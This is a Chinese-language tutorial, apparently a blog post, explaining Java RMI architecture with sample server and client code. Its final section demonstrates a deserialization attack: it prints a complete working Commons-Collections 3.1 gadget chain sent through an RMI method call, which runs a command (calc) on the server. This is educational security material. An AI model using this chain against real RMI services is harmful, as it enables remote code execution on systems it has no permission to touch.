概念
RMI机制即Java远程方法调用(Java Remote Method Invocation),在Java语言中,一种用于实现远程过程调用的应用程序编程接口。它使得客户端上运行的程序可以远程调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。
RMI机制架构共分为三部分:
- Client客户端
- Server服务端
- Registry注册表(类似网关)
RMI通信模型
下图为RMI通信流程图:
其中Client客户端包括三个部分:
- Stub(存根/桩):远程对象在客户端上的代理
- Reference Layer(引用层):解析并执行远程引用协议
- Transport Layer(传送层):发送调用、传递远程方法参数,接收远程方法执行结果
Server服务端也包括三个部分:
- Skeleton(骨架):读取客户端传递的方法参数,调用实际对象方法并在执行后返回执行结果
- Reference Layer(引用层):处理远程引用后向Skeleton发送远程方法调用
- Transport Layer(传送层):监听端口并转发调用请求至引用层
RMI通信过程如上图,大概分为如下几个步骤:
- Client客户端首先向Registry发送请求,通过服务名查找对应服务,Registry返回Stub远程代理对象
- Client想要通过Stub远程代理对象调用其方法
- 将Stub方法交给Reference Layer引用层创建RemoteCall远程调用对象
- Transport Layer传输层序列化RemoteCall远程调用对象并序列化发送给Server的传输层
- Server服务端传输层接收RemoteCall远程调用对象,经过反序列化和引用层处理后交给Skeleton骨架进行处理
- Skeleton骨架通过Client客户端传递的方法参数,调用实际对象方法并执行返回结果
- 执行结果经过引用层序列化后通过传输层传回
代码实现
定义远程接口
package com.rmi;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface HelloInterface extends Remote {
String Hello(String name) throws RemoteException;
Object Hi(Object object) throws RemoteException;
}
定义一个接口HelloInterface
,其中方法抛出RemoteException
异常,需要注意的是具备远程调用的接口需要继承Remote
接口,该接口是一个空接口,只作为RMI标识接口!
实现远程接口类
package com.rmi;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class HelloImp extends UnicastRemoteObject implements HelloInterface {
public HelloImp() throws RemoteException {
super();
}
@Override
public String Hello(String name) throws RemoteException {
return "Hello " + name;
}
@Override
public Object Hi(Object object) throws RemoteException {
return object;
}
}
定义HelloInterface实现类HelloImp,该类需要继承UnicastRemoteObject 类(该类提供了很多支持RMI的方法,这些方法用于生成Stub对象以及生成Skeleton),之后写入构造函数以及接口类即可。
实现Server服务端
package com.rmi;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RmiServer {
public static void main(String[] args) {
try {
HelloImp helloImp = new HelloImp();
Registry registry = LocateRegistry.createRegistry(2333);
// registry.bind("hello", helloImp);
Naming.bind("rmi://localhost:2333/hello", helloImp);
} catch (Exception e) {
e.printStackTrace();
}
}
}
Server服务端这块,首先需要创建远程调用方法(也叫服务),之后注册一个端口,并通过上述两种方法其中一种将远程调用方法(服务)与注册表中的Naming绑定在一起。
实现Cilent客户端
package com.rmi;
import java.rmi.Naming;
public class RmiClient {
public static void main(String[] args) throws Exception {
try {
HelloInterface lookup = (HelloInterface) Naming.lookup("rmi://localhost:2333/hello");
System.out.println(lookup.Hello("ggbond"));
} catch (Exception e) {
e.printStackTrace();
}
}
}
客户端这边首先通过Naming.lookup请求Stub对象,之后便可以直接调用远程接口方法了
我们现在首先运行Server服务端,之后运行Cilent端,执行结果如下:
利用RMI进行反序列化攻击
才开始的RMI通信中说到,在进行对象传输时会进行序列化和反序列化的操作,那么如果服务端中有下边这样一个类
package com.rmi;
import java.io.Serializable;
import java.util.Date;
public class User implements Serializable {
private void writeObject(java.io.ObjectOutputStream stream) throws Exception {
stream.defaultWriteObject();
Thread.sleep(1000);
System.out.println(new Date() + "成功进行了序列化!");
}
private void readObject(java.io.ObjectInputStream stream) throws Exception {
stream.defaultReadObject();
Thread.sleep(1000);
System.out.println(new Date() + "成功进行了反序列化!");
}
}
那么当我们通过RMI通信将上方的User类进行传输时,无论是在Server端还是在Client端都会进行序列化和反序列化操作,我们修改Client端代码如下:
package com.rmi;
import java.rmi.Naming;
public class RmiClient {
public static void main(String[] args) throws Exception {
try {
HelloInterface lookup = (HelloInterface) Naming.lookup("rmi://localhost:2333/hello");
System.out.println(lookup.Hello("ggbond"));
lookup.Hi(new User());
} catch (Exception e) {
e.printStackTrace();
}
}
}
对比之前的代码只加了1句话lookup.Hi(new User());
,通过Hi
接口方法进行传输User
对象
然后我们依次运行Server服务端和Client客户端代码,结果如下:
这里我故意通过Thread.sleep(1000)
做了1秒的延时,可以更加直观具体的查看两端序列化的先后顺序
- Cilent客户端先将User对象进行序列化并传输给Server服务端
- Server服务端将传输过来的数据进行反序列化获取User对象
- 调用对象方法后再将数据(其中包括User对象)进行序列化并返回
- Client接收数据后再进行反序列化获取
既然再这个过程中可以进行了反序列化操作,我们就可以利用RMI进行反序列化攻击,如果服务端引入了commons-collections-3.1
,我们就可以通过修改Client端的代码(将cc1攻击链写入即可)进行攻击,修改如下:
package com.rmi;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;
public class RmiClient {
public static void main(String[] args) throws Exception {
try {
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
Map decorate = LazyMap.decorate(new HashMap(), chainedTransformer);
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorate);
Map map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, invocationHandler);
Object o = declaredConstructor.newInstance(Override.class, map);
HelloInterface lookup = (HelloInterface) Naming.lookup("rmi://localhost:2333/hello");
System.out.println(lookup.Hello("ggbond"));
lookup.Hi(o);
} catch (Exception e) {
e.printStackTrace();
}
}
}
运行Client端代码,成功实现攻击!